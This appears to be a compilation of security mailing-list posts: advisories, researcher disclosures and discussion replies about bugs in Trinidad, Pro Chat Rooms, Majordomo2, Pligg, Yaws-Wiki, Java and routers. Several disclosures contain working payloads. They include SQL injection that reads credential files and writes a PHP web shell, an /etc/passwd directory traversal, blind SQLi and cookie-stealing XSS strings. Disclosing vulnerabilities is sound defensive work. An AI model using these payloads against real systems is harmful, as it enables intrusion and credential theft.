Re: CVE-2016-5019: MyFaces Trinidad view state deserialization security vulnerability
Clarification: The first line in this CVE [1] was a copy&paste error during message composition and is not part of the CVE. This line can make it sound as if CVE-2016-5019 is only an information disclosure vulnerability rather than a deserialization attack vector. I apologize for the confusion. On Thu, Sep 29, 2016 at 11:50 AM, Mike Kienenberger wrote: > CVE-2016-5019 Apache MyFaces Trinidad information disclosure vulnerability > > Severity: Important > > Vendor: > The Apache Software Foundation > > Versions Affected: > Trinidad from 1.0.0 to 1.0.13 > Trinidad from 1.2.1 to 1.2.14 > Trinidad from 2.0.0 to 2.0.1 > Trinidad from 2.1.0 to 2.1.1 > > Description: > > Trinidad’s CoreResponseStateManager both reads and writes view state > strings using > ObjectInputStream/ObjectOutputStream directly. By doing so, Trinidad > bypasses the > view state security features provided by the JSF implementations - ie. the > view > state is not encrypted and is not MAC’ed. > > Trinidad’s CoreResponseStateManager will blindly deserialize untrusted > view state > strings, which makes Trinidad-based applications vulnerable to deserialization > attacks. > > Mitigation: > > All users of Apache Trinidad should upgrade to either 2.1.2, 2.0.2, or > 1.2.15 and > enable view state encryption using org.apache.myfaces.USE_ENCRYPTION and > related > web configuration parameters. > See http://wiki.apache.org/myfaces/Secure_Your_Application for details. > > Upgrading all Commons Collections jars on the class path to 3.2.2/4.1 > will prevent > certain well-known vectors of attack, but will not entirely resolve this > issue. > > References: > https://issues.apache.org/jira/browse/TRINIDAD-2542 > > This issue was discovered by Teemu Kääriäinen and reported by Andy Schwartz
RE: Cisco Security Advisory: Cisco Firepower Malware Block Bypass Vulnerability
unsubscribe -Original Message- From: nob...@cisco.com [mailto:nob...@cisco.com] On Behalf Of Cisco Systems Product Security Incident Response Team Sent: Wednesday, March 30, 2016 9:18 AM To: bugtraq@securityfocus.com Cc: ps...@cisco.com Subject: Cisco Security Advisory: Cisco Firepower Malware Block Bypass Vulnerability -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Cisco Firepower Malware Block Bypass Vulnerability Advisory ID: cisco-sa-20160330-fp Revision 1.0 For Public Release 2016 March 30 16:00 UTC (GMT) +- Summary === A vulnerability in the malicious file detection and blocking features of Cisco Firepower System Software could allow an unauthenticated, remote attacker to bypass malware detection mechanisms on an affected system. The vulnerability is due to improper input validation of fields in HTTP headers. An attacker could exploit this vulnerability by sending a crafted HTTP request to an affected system. A successful exploit could allow the attacker to bypass malicious file detection or blocking policies that are configured for the system, which could allow malware to pass through the system undetected. Cisco has released software updates that address this vulnerability. There are no workarounds that address this vulnerability. This advisory is available at the following link: http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-s a-20160330-fp -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.5 (SunOS) iQIVAwUBVvKwFq89gD3EAJB5AQIjFg/+MHsKskM68q7HIhF7EB6yN3Pjau4/1bPd 9xYd3UJ1bh9jmrObAlwEIL+P40WUKQCO23Z/66opMboXTBSMLrAe1/2xMevx+6f5 Gkl8V1Ew0Ziona0DE3D3vtdPTmnY19KRpUwIMQbYsiKs2SaxoiX04J5Ny21+Uxvz xskTGEW0kX7HpZ2kWODmBTyLJS1/59SJ4WNt7Sf57FOsIZRg8tk4de27yavaVqbw eFZRYRYITnW9Ks231NhJJErM64qCis2r9yNxU5tP6BbL/CDJNbcsbqXif2t4pDCZ YLTm3sIzfLpmz+YCWSNwcc+UBe34ssmV8zRt3O51mruY7cWKycanvrHq+S9xURix eVoaw+PWZl5kI0RMqQhT9lKR/INXR2Ek93KNPOJXYKuEk8UJA+mVzphUVJR7tifH +iPK7SEEPASodgE5S2lP4d5iUV6U590eUABcfSmtbCP1a80lHpjXQVmjqIa3gnEm Byab7fxjDDGfFcnMdndWyJhEULPgIo5BCg6jMCw9SWvK7u+rSqpA/VaVc3UnvU2K xBTSm2DKd1t09Fo6x1rk+mLOhZ+Ch+7JLCcJxNJe9J0+a4YyuHE99RgV3WmGqOb3 Kx8ojX5yF6KqT+K4pZx2LKwL8rp+r5lZu40EIz0jrFGhKKXftLOADWqMbFwZOxKR xUMD/t+aY6s= =sOTL -END PGP SIGNATURE- smime.p7s Description: S/MIME cryptographic signature
Expedia Product Security Advisory: Cruise Ship Centers Information Disclosure
Expedia Product Security Advisory on 6/5/2015 Product: Expedia CruiseShipCenters (CruiseShipCenters.com) Vulnerability Type: Insecure Direct Object Reference Impact: Unauthorized Information Disclosure Credit: Paul O¹Neil, IDT911 Consulting (http://idt911.com/) Background: During the booking finishing process with Expedia Cruise Ship Centers it was discovered that a GET parameter (namely Œctoid') found in the following URL, could be modified to disclose information regarding other users of the application who had previously made a booking: https://cruise.expedia.com/Book/Payment5.aspx Once the issue was remediated, an investigation by the Expedia Incident Response team determined that we have no reason to believe this vulnerability was maliciously exploited. Remedition Timeline: Initial Discovery by Mr O'Neil: 5/27/15 Initial Response and Investigation by Expedia Incident Response: 5/27/15 Issue Confirmed Remediated: 6/3/15 Expedia Policy on Responsible Disclosures: Expedia, Inc. and its affiliated businesses encourage users to report vulnerabilities discovered on any of our Internet sites. If you think you have discovered a vulnerability in the Web application code on any of our sites, please send us an email via respd...@expedia.com with the following information: * Date and time of discovery * Specific code * Proof of concept exploit information We appreciate your willingness to participate in our efforts to keep Expedia safe and secure, and will publicly acknowledge your contributions. The scope of this program is limited to Expedia-owned Web applications, including Hotels.com, Hotwire.com, Expedia CruiseShipCenters, Venere.com, Egencia.com, and VIA.com. Thank you, Mike Sheward Enterprise Information Security Director, Security Operations Center and Security Incident Response Expedia, Inc.
Re: Reflected File Download in AOL Search Website
PoC confirmed to work with Safari 8.0.3 on OSx 10.10.2 Good find! On 16/02/2015 16:15, "Ricardo Iramar dos Santos" wrote: >Oren Hafif reported a new kind of attack called Reflected File >Download >(https://www.blackhat.com/eu-14/briefings.html#reflected-file-download-a-n >ew-web-attack-vector) >in Black Hat Europe 2014 conference. >More details about the attack you can found in his public >presentation: >https://www.blackhat.com/docs/eu-14/materials/eu-14-Hafif-Reflected-File-D >ownload-A-New-Web-Attack-Vector.pdf. >Google and Bing have already fixed the vulnerability but I've found >the same vulnerability in AOL Search Website. >A malicious user could send the link below to a victim that you >download a malicious batch file from autocomplete.search.aol.com >domain. >In the link below we have search for 'iramar "||calc||' using the AOL >autocomplete domain. The browser will encode the double quotes but the >server will escape it (\") and return inside the json on the body >response. >Since the response has the header "Content-Type: >application/x-suggestions+json;charset=UTF-8" the browser will >automatically try to download the reflected file. Chrome didn't try to >download the file but Internet Explorer and Firefox will. > >http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar";||ca >lc||&it=ws-landing&dict=en_us_search&count=8&output=json > >REQUEST >GET >http://autocomplete.search.aol.com/autocomplete/get;calc.bat?q=iramar%22|| >calc||&it=ws-landing&dict=en_us_search&count=8&output=json >HTTP/1.1 >Host: autocomplete.search.aol.com >User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:33.0) >Gecko/20100101 Firefox/33.0 >Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 >Accept-Language: en-US,en;q=0.5 >Accept-Encoding: gzip, deflate >Cookie: ... >Connection: keep-alive > > >RESPONSE >HTTP/1.1 200 OK >Date: Tue, 21 Oct 2014 10:30:34 GMT >Server: Apache-Coyote/1.1 >Content-Type: application/x-suggestions+json;charset=UTF-8 >Content-Language: en-US >Content-Length: 24 >Keep-Alive: timeout=5, max=10 >Connection: Keep-Alive > >["iramar\"||calc||", []]
Pro Chat Rooms v8.2.0 - Multiple Vulnerabilities
# Exploit Title: Pro Chat Rooms v8.2.0 - Multiple Vulnerabilities
# Google Dork: intitle:"Powered by Pro Chat Rooms"
# Date: 5 August 2014
# Exploit Author: Mike Manzotti @ Dionach Ltd
# Vendor Homepage: http://prochatrooms.com
# Software Link: http://prochatrooms.com/software.php
# Version: v8.2.0
# Tested on: Debian (Apache+MySQL)
1) Stored XSS
=
Text Chat Room Software of ProoChatRooms is vulnerable to Stored XSS. After
registered an account, an attacker can upload a profile picture containing
Javascript code as shown below:
POST: http:///prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333.jpg"
Content-Type: image/jpeg
alert(document.cookie)
By inspecting the response, the web application returns a 32 digits value in
the HTML tag "imgID" as shown below:
Response:
The picture is uploaded under the directory "/profiles/uploads" and is
accessible by force browsing to the 32 digits value as shown below:
http:///prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b
Image
2) Reflected XSS
=
Text Chat Room Software of ProoChatRooms is vulnerable to Reflected XSS. The
parameter "edit" is not encoded:
http:///prochatrooms/profiles/index.php?id=1&edit=">alert(document.cookie)
3) SQL Injection
Text Chat Room Software of ProoChatRooms is vulnerable to SQL injections.
Across the all source code of web application, parameterized queries are used
to query the database. However, a lack of data sanitization of three parameters
leaves the web application vulnerable to SQLi. The vulnerable parameters are
located as shown below:
prochatrooms_v8.2.0/includes/functions.php: ~2437
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users
SET email = '".$email."',
password='".md5($password)."'
WHERE id = '".$id."'
";
prochatrooms_v8.2.0/includes/functions.php: ~2449
$query = "UPDATE prochatrooms_users
SET email = '".$email."'
WHERE id = '".$id."'
";
prochatrooms_v8.2.0/includes/functions.php: ~3110
$query = "UPDATE prochatrooms_users
SET active = '".$offlineTime."', online = '0'
WHERE username = '".makeSafe($toname)."'
";
Note that the makeSafe function is defined as shown below and will protect
against XSS attacks only:
prochatrooms_v8.2.0/includes/functions.php: ~125
function makeSafe($data)
{
$data = htmlspecialchars($data);
return $data;
}
After registering an account, an attacker can exploit the SQL injection by
editing the field email as shown below which will retrieve the MD5 hashed
password of the administrator:
POST http:///prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
m...@1dn.eu', email=(select adminLogin from prochatrooms_config) where id ='1';#
The following SQL injection will retrieve the SQL connection string, which
probably has clear-text database credentials.
POST http:///prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
m...@1dn.eu', email=(select load_file('/var/www/prochatrooms/includes/db.php'))
where id ='1';#
4) Arbitrary File Upload
=
It is possible to combine the Stored XSS and SQL injection vulnerabilities to
upload a web shell on the server.
The following request will upload a PHP web shell and the web application will
return a 32 digit value.
POST: http:///prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="m.jpg"
Content-Type: application/octet-stream
Response:
Since the uploaded web shell is without extension it will not be executed:
http:///prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45
Image:
However, exploiting the SQL injection it is possible to rename the file by
appending a .php extension
POST http:///prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
m...@1dn.eu' where id ='1'; SELECT
load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45')
INTO OUTFILE '/var/www/prochatrooms/profiles/uploads/s.php';#
Web shell:
http:///prochatrooms/profiles/uploads/s.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Image:
Timeline
19/07/2014: Vendor informed via email
04/08/2014: Vendor informed via email
05/08/2014: Public Disclosure
Kind regards,
Mike
[CVE- Requested][Vembu Storegrid - Multiple Critical Vulnerabilities]
1. Advisory Overview Multiple vulnerabilities exist in the Vembu Storegrid Backup and Disaster Recovery solution affecting both the client and server software (see Additional Information section) include but are not limited to reflected XSS, source code/sensitive information disclosure, privilege escalation, remote code execution, Denial of Service, and poorly implemented business logic in the client which can be leveraged to allow an unauthenticated user to exfiltrate full disk backups from a target machine via a rogue server. This is a white-label product and may be labelled as something else. 2. Advisory information - - Public Release Date: 4/8/2014 - - Vendor notified: Yes 30/7/2014 - - CVE¹s: requested 1/8/2014 - - Last Revised: 4/7/2014 - - Researchers: Mike Antcliffe and Ed Tredgett - - Research Organisation: Logically Secure Ltd - - Research Organisation Website: http://www.logicallysecure.com 3. Vulnerability Information - - Vendor: Vembu - - Affected Software: - Storegrid Backup and Disaster recovery solutions SP edition (Affects version 4.4.X and version 6.x Client and SP Server on multiple platforms) - - Product Website: https://www.vembu.com/products/bdr/ - - Vulnerability Class: Multiple - - Remotely Exploitable: Yes - - Locally Exploitable: Yes - - Authentication Required: No - - Indicator of network presence: Ports 6060 and 6061 accept HTTP/S connections. 4. Vendor Solution None, however Issues may be addressed in version 6.2 (vendor reviewing the feasibility of a patch) 5. Additional Information. The main vulnerability takes advantage of the client enrolment procedure. In it¹s default state it is possible for an unauthenticated attacker to register a client to a rogue backup server. During this enrolment phase a new admin user is automatically created on the client using the attacker specified credentials, the attacker can then bounce through their rogue server using the cln= get parameter which invokes request forwarding functionality allowing access the remote client interface. From here they can schedule their own backups to their server and specify their own encryption keys. These backups can then be restored to an attacker controlled virtual machine allowing the attacker full access to whatever has been taken. It is also possible to backup a directory containing a toolbox of malicious scripts and executables from the attacker controlled virtual machine and restore these to a target machine. We found an option in the client web interface which allows a user to disable the ability to enrol new servers but were able to bypass this using common attack vectors. The backup functionality also allows the user to execute commands as part of the backup process by default these run with system level privs. We have successfully gained system level remote shells using this method. >From there we were able to manipulate the web console to hide all traces of our exploits from the regular user, kill AV, drop the firewall, access the registry, dump password hashes and finally screw up the machine (by deleting arbitrary system files) so it wouldn¹t boot and needed restoring (thus removing traces of our activity). The whole process could easily be automated to target an entire subnet. In addition to the above mentioned issue we discovered reflected XSS vulnerabilities, Source code disclosure via incorrect processing of trailing slash (eg http://clientip/index.php/), Denial of Service via unhandled exceptions in the client, Local privilege escalation, insecure storage of credentials (MD5), poor mysql implementation (default root user configured with a simple password), and several others. Note: We first discovered the vulnerabilities whilst testing a corporate network with around 60 active installs of the client software ranging from domain controllers to HR machines, and client laptops containing personal data. We were able to siphon off any data we liked. The client supports our decision to go public now they have removed the software. We will be providing a full writeup as well as examples on our website shortly. Note2: This software is white-label and is commonly distributed under many names. Note3: According to the vendor they have a network of over 3000+ partners holding over 25PB of critical data. Mike Antcliffe Logically Secure @mantcliffe @EdTredgett @LogicallySecure
Re: [Full-disclosure] Apache suEXEC privilege elevation / information disclosure
Seems to me we have two positions that aren't that far apart but due to various reasons the conversation has devolved into something less worthy of a public discussion than most of what I see on Bugtraq. FWIW I'm in the camp of "ship the software with secure defaults" but at the same time I agree that Reindl makes a valid point when he asks what exactly one means by "secure" (even if I don't agree with his reasoning in this case). That said, the conversation has really taken an ugly turn, and I am humbly and only speaking for myself requesting that all concerned take some time to cool off, go for a walk (down to the pub if that helps), and come back with a focus more on the technical question at hand rather than the emotional response that has been rising to the top. Thanks, Mike
Stored and Reflective XSS in Yaws-Wiki 1.88-1 (Erlang)
Software: yaws-wiki version affected: 1.88-1 platform: Erlang homepage:http://yaws.hyber.org/ Researcher: Michael Brooks Original Advisory:https://sitewat.ch/en/Advisory/4 Install instructions for Ubuntu: sudo apt-get install yaws-wiki Edit:/etc/yaws/conf.d/yaws-wiki.conf #add this: port = 8181 listen = 0.0.0.0 docroot = /var/lib/yaws-wiki Then restart yaws: sudo /etc/init.d/yaws restart Reflective XSS: http://localhost:8181/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://localhost:8181/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E http://localhost:8181/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E Stored XSS: http://localhost:8181/editPage.yaws?node=home The large textbox on the editPage.yaws page is vulnerable to xss. This is the"text" post variable: alert(1)
Re: Re: HTB22905: Path disclosure in Wordpress
I agree, this is a configuration issue not an issue with Wordpress. Wordpress SHOULD NOT fix this "issue" because it will make it more difficult to write wordpress modules. All production systems should have this configuration: display_errors=off
Re: Vulnerabilities in some SCADA server softwares
On 3/23/11 9:46 AM, J. Oquendo wrote: How about we reflect reality? We can't honestly do that, we all only have our perception. It's funny how we can get stuck in a trap of 0 and 1. My perception is we'll always disagree on disclosure technique, or at least nitpick some minor detail into infinity like we do with politics or religion. We're human after all. That said, bugs exist whether we find them or not, every software has them, and if the author had never reported them that in no way implies they were not already known and/or being used for subversive means with the potential intent to cause harm. I guess I'm oldsk00l enough to like responsible disclosure, but also anti-authoritarian enough (who's making the rules? why are they god?) to believe this is not black and white. Scare away those who disclose (regardless of method), and you're left with undisclosed vulnerabilities the bad guys with the most to gain ($$$ to invest in teams of hacke^H^H^Hengineers, not just script kiddies) still know about and can most effectively leverage. I say the only bad disclosure is no disclosure. If vendors can't move fast enough, they'll be usurped by those who can make better use of new processes and technologies to keep up with trends. PS: Is this really "hot" now? My only thought when I read the original post was "about time" -- SCADA has been known (as in publicly aired on broadcast television) to have many gaping vulnerabilities for at least a decade. The (obviously bogus) justification was usually it's restricted deployment model.
Re: Prestashop Cartium 1.3.3 Multiple Cross Site Scripting (XSS)
This is fake for usre. I have tested prestashop before and I posted real xss that affected prestashop to bugtraq and it was filtered. Why wasn't this filtered
Majordomo2 - Directory Traversal (SMTP/HTTP)
Original Advisory: https://sitewat.ch/en/Advisory/View/1 Credit: Michael Brooks (https://sitewat.ch) Vulnerability: Directory Traversal Software: Majordomo2 Identifier:CVE-2011-0049 Vendor: http://www.mj2.org/ Affected Build: 20110121 and prior Special thanks to Dave Miller, Reed Loden and the rest of the Mozilla security team for handling the issue. This vulnerability is exploitable via ALL of Majordomo2's interfaces. *Including e-mail*. Send an email to majordomo's mail interface (for example: majord...@bugzilla.org) with the body of the message as follows: help ../../../../../../../../../../../../../etc/passwd I'll give you one guess as to the contents of the response email ;). PoC for HTTP: http://localhost/cgi-bin/mj_wwwusr?passw=&list=GLOBAL&user=&func=help&extra=/../../../../../../../../etc/passwd
Pligg XSS and SQL Injection
Credit: Michael Brooks Bug Fix in 1.1.2: http://www.pligg.com/blog/1174/pligg-cms-1-1-2-release/ Special thanks to Eric Heikkinen for patching these quickly. Blind SQL Injection http://host/pligg_1.1.2/search.php?adv=1&status= 'and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search +&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0 XSS: http://host/pligg_1.1.2/?xss='onmouseover=alert(1);// http://host/pligg_1.1.2/?search="; onclick=alert(1) a= The "onclick" event can be used as reflective xss on /register.php using the following post variables: reg_username reg_email reg_password reg_password2
Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 On 10/20/2010 10:11 PM, Roberto Suggi Liverani wrote: > > In Java SE 6 update 10, both the Java Web Start and Java Plug-In > technologies contain preliminary support for cross-domain policy > files, which specify how unsigned code may access web services on the > Internet. The crossdomain.xml policy file is hosted on a given server > and allows either selected clients, or clients from anywhere, to > connect to that server. Cross-domain policy files make accessing web > services much easier, particularly from unsigned applets. Great...something else to worry about which uses crossdomain.xml. :/ I admit, I did not know about this functionality being added. I apologize for not doing some homework ahead of time. Personally, I think it is a step in the wrong direction by Java developers. Research shows the only reason this functionality was added was to keep Java in the same market space as other technologies which already use crossdomain.xml functionality (e.g. Silverlight and Flash). Back to the matter at hand...that same page also states... "Access to a particular server is only granted if the crossdomain.xml file is present and contains only an entry granting access from all domains." Wouldn't this mean that functionality was documented and functioning as documented? I am not saying there is no issue here, but it seems like you "discovered" something which was documented. > > Again, the Java Applet is *unsigned* and there is *no* crossdomain.xml > policy > which set rules of access control between www.targetsite.net and > www.badsite.com But, my point is that the current functionality is documented to ignore the "set rules" you mention. In fact, there really are no rules for the client to go by -- either the file is present and you can connect (domain="*") or a signature is needed. The JVM does not read the domain attribute to know whether or not to abide by SOP policies. > > > You need to rename MaliciousJavaApplet.java to MaliciousJavaApplet2.java > and then > compile it or change MaliciousJavaApplet2 to MaliciousJavaApplet in the > source code. > That was against script-kiddies... Come on now. Renaming the file is not a script kiddie protection measure when the domains to talk to are hard coded. I did not mean this to be a cut-down or something against your programming skills, but a note to others who may test out this vulnerability as well using your code provided. > > Then: > > javac MaliciousJavaApplet2.java or javac MaliciousJavaApplet.java > (depending which change you made) > > No compilation issues for me. Once renamed, as you stated above, I did not have any issues running the code either. > > > [...] > We appreciate the responsible disclosure, but I am looking at the > advisories for Oct 2010 from Oracle (see > http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html > ) and > I do not see this "fix" listed anywhere. I see Java VM stuff but only in > the context of being fixed as part of another, parent component like > Database Server. > > Am I looking in the wrong place? > [...]. > > Yes. Have a look here: > > http://www.oracle.com/technetwork/topics/security/javacpuoct2010-176258.html > > > FYI - bug has an internal Oracle/Sun ID 6980004 - and a CVE-2010-3573 as > well. You have to admit here, the documents online barely touch on the actual issues with the code. For instance, http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3573 basically just states that there exist issues "via unknown vectors". Some smaller amounts of additional info can be gathered from here too: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3573. Hell, I actually found a lot of misinformation about this CVE as well while searching for it. Some places stated it was an issue in how the JVM parses request headers which is clearly not your issue here. Perhaps your issue was bundled with other -- who knows. I would seriously have no idea what the CVE is supposed to address if you had not posted this message. I am hopeful that this discussion will change the crossdomain functionality present in the JVM. I applaud you for disclosing this issue, but I think this was a documented feature -- even if it was .5-ass'ed put together by the Java devs. Thanks Roberto. Mike Duncan Dep. ISSO, Application Security Specialist National Climatic Data Center, NOAA -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.15 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkzAnu4ACgkQnvIkv6fg9hbg2wCfTZB880GyBfdUVH4VxY1Ohp95 hzwAnRFOciZ/4vL507DQCSSo2K9Z9RBv =nniH -END PGP SIGNATURE-
Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass
more information on the new release of JRE/JDK > please refer to the link: > > http://www.oracle.com/technetwork/java/javase/downloads/index.html > > +--+ > |Credit| > +--+ > > Discovered and advised to Oracle > August 2010 by Roberto Suggi Liverani of > Security-Assessment.com. > > Personal site: http://malerisch.net > My guess is that you are trusting these applets to execute in some manner which you are not aware of -- perhaps, you simply accepted the certificate once before choosing "Accept Always..." or something and this is messing with your results. It seems to me that a huge issue like this would have made more noise too. URLConnection is not exactly an unused class in Java. It is everywhere and used in a lot of applications. Good luck. Mike Duncan Dep. ISSO, Application Security Specialist National Climatic Data Center, NOAA -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.15 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAky/BSYACgkQnvIkv6fg9hYakgCfYnPD4UBncy071TBAsV0re952 yAAAoJIKFM4IpHouzW5p4VpaVoEatp2c =Is68 -END PGP SIGNATURE-
Re: 2Wire Broadband Router Session Hijacking Vulnerability
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Good to hear, but hard to see how this will really fix anything. Unlike most modern application and devices, these routers do not update firmware automatically or allow for the user to update them in any real world scenario. Hell, most ISPs who use these are probably not even on this list or pay attention to advisories primarily because they lease/rent the modems/routers out to customers -- placing the responsibility of updating on the user. Who -- in most cases -- even touches the router/modem without support could be violating the ToS. This should show the firmware/router manufactures the need for more real world testing before deployment as well as allowing for patching via the ISP or at least allow the user to update the firmware easily. Thanks for all the hard work, YGN Ethical Hacker Group. Good job and keep it up. Mike Duncan ISSO, Application Security Specialist Government Contractor with STG, Inc. NOAA :: National Climatic Data Center On 08/21/2010 12:30 PM, YGN Ethical Hacker Group wrote: > 2wire support just replied that this has been fixed and new version > (6.x.x.x) has been released. > > The advisory has been updated accordingly. > > http://yehg.net/lab/pr0js/advisories/2wire/[2wire]_session_hijacking_vulnerability -BEGIN PGP SIGNATURE- Version: GnuPG v2.0.15 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkxyyMYACgkQnvIkv6fg9hZ7QACffimUvg/qbTOO3h2Hkh4VvXFd 2fwAnRSWFwbJm4JNzfgI5CjjBTEG7Pat =j+61 -END PGP SIGNATURE-
phpvidz Administrative Password Disclosure
Original
Advisory:http://blog.sitewat.ch/2010/05/phpvidz-administrative-password.html
Affecting: phpvidz 0.9.5
Vulnerability: Administrative Password Disclosure
Vendor's Homepage: http://sourceforge.net/projects/phpvidz/
Date: May 15th 2010
Researcher: Michael Brooks
phpvidz does not use a SQL database. Instead it uses a system of flat files to
maintain application state. The administrative password is stored within the
following file and is included during runtime. Because this file has a .inc
extension it is viewable by the attacker.
To exploit this issue visit this url:
http://localhost/phpvidz_0.9.5/includes/init.inc
By default the password is the following constant:
define ('ADMINPASSWORD', '');
This password can be used to login here (A username is not required):
http://localhost/phpvidz_0.9.5/admin.php
Re: Firefox 3.6 for Windows includes a forged CA cert
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Good question. Confirmed on Linux version as well (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6). More information about the rogue-CA can be found here: http://www.phreedom.org/research/rogue-ca/. # openssl x509 -in MD5CollisionsInc.pem -noout -text Certificate: Data: Version: 3 (0x2) Serial Number: 66 (0x42) Signature Algorithm: md5WithRSAEncryption Issuer: C=US, O=Equifax Secure Inc., CN=Equifax Secure Global eBusiness CA-1 Validity Not Before: Jul 31 00:00:01 2004 GMT Not After : Sep 2 00:00:01 2004 GMT Subject: CN=MD5 Collisions Inc. (http://www.phreedom.org/md5) Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:ba:a6:59:c9:2c:28:d6:2a:b0:f8:ed:9f:46:a4: a4:37:ee:0e:19:68:59:d1:b3:03:99:51:d6:16:9a: 5e:37:6b:15:e0:0e:4b:f5:84:64:f8:a3:db:41:6f: 35:d5:9b:15:1f:db:c4:38:52:70:81:97:5e:8f:a0: b5:f7:7e:39:f0:32:ac:1e:ad:44:d2:b3:fa:48:c3: ce:91:9b:ec:f4:9c:7c:e1:5a:f5:c8:37:6b:9a:83: de:e7:ca:20:97:31:42:73:15:91:68:f4:88:af:f9: 28:28:c5:e9:0f:73:b0:17:4b:13:4c:99:75:d0:44: e6:7e:08:6c:1a:f2:4f:1b:41 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: Digital Signature, Non Repudiation, Certificate Sign, CRL Sign X509v3 Basic Constraints: critical CA:TRUE X509v3 Subject Key Identifier: A7:04:60:1F:AB:72:43:08:C5:7F:08:90:55:56:1C:D6:CE:E6:38:EB X509v3 Authority Key Identifier: keyid:BE:A8:A0:74:72:50:6B:44:B7:C9:23:D8:FB:A8:FF:B3:57:6B:68:6C Netscape Comment: 3 Signature Algorithm: md5WithRSAEncryption a7:21:02:8d:d1:0e:a2:80:77:25:fd:43:60:15:8f:ec:ef:90: 47:d4:84:42:15:26:11:1c:cd:c2:3c:10:29:a9:b6:df:ab:57: 75:91:da:e5:2b:b3:90:45:1c:30:63:56:3f:8a:d9:50:fa:ed: 58:6c:c0:65:ac:66:57:de:1c:c6:76:3b:f5:00:0e:8e:45:ce: 7f:4c:90:ec:2b:c6:cd:b3:b4:8f:62:d0:fe:b7:c5:26:72:44: ed:f6:98:5b:ae:cb:d1:95:f5:da:08:be:68:46:b1:75:c8:ec: 1d:8f:1e:7a:94:f1:aa:53:78:a2:45:ae:54:ea:d1:9e:74:c8: 76:67 Mike Duncan ISSO, Application Security Specialist Government Contractor with STG, Inc. NOAA :: National Climatic Data Center On 03/19/2010 04:22 PM, Francis Litterio wrote: > In Firefox 3.6 for Windows, go to Tools -> Options -> Advanced -> Encryption > -> > View Certificates -> Authorities and scroll down to the entry for "Equifax > Secure Inc." and you'll see a cert labeled "MD5 Collisions Inc > (http://www.phreedom.org/md5)" grouped with the other Equifax certs. > > Yes, it's expired, so it poses no real threat, but why is the Mozilla Project > shipping Firefox with that cert? It just causes FUD. > -- > Fran > > -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAkunqlwACgkQnvIkv6fg9hZ9xgCeN2pHJd7cR/K0XoLAI4MKSR7P 6TsAn2gJ5czYDikEK25OcVsZngS/lGIN =xb7R -END PGP SIGNATURE-
Re: [DSECRG-09-022] Adobe Coldfusion 8 Multiple Linked XSS Vulnerabilies
-BEGIN PGP SIGNED MESSAGE-
Hash: SHA1
You mention the issues had been resolved and provide a link, but the
link seems dead now. Could you please update with a proper reference to
Adobe if possible with information on how these issues were resolved.
Thanks.
Mike Duncan
ISSO, Application Security Specialist
Government Contractor with STG, Inc.
NOAA :: National Climatic Data Center
resea...@dsecrg.com wrote:
> http://www.dsecrg.com/pages/vul/show.php?id=122
>
>
> Digital Security Research Group [DSecRG] Advisory #DSECRG-09-022
>
> Application:Adobe Coldfusion 8
> Versions Affected: Adobe Coldfusion 8
> Vendor URL: http://adobe.com
> Bugs: Multiple Linked XSS,XSRF
> Exploits: YES
> Reported: 12.01.2009
> Vendor response:13.01.2009
> Date of Public Advisory:17.08.2009
> CVE-number: CVE-2009-1872
> Author: Alexander Polyakov
> Digital Security Research Group [DSecRG]
> (research [at] dsecrg [dot] com)
>
> Description
> ***
>
> Multiple Linked XSS and XSRF vulnerabilities found in Adobe Coldfusion Server
> 8. Attacker can create evil link and steal administrators cookie
>
>
> Details
> ***
>
> 1. Multiple Linked XSS vulnerabilities found in Adobe Coldfusion Server 8.
>
>
> 1.1 Linked XSS vulnerability found in script searchlog.cfm. vulnerable
> parameter startRow
>
>
> Example
> ***
>
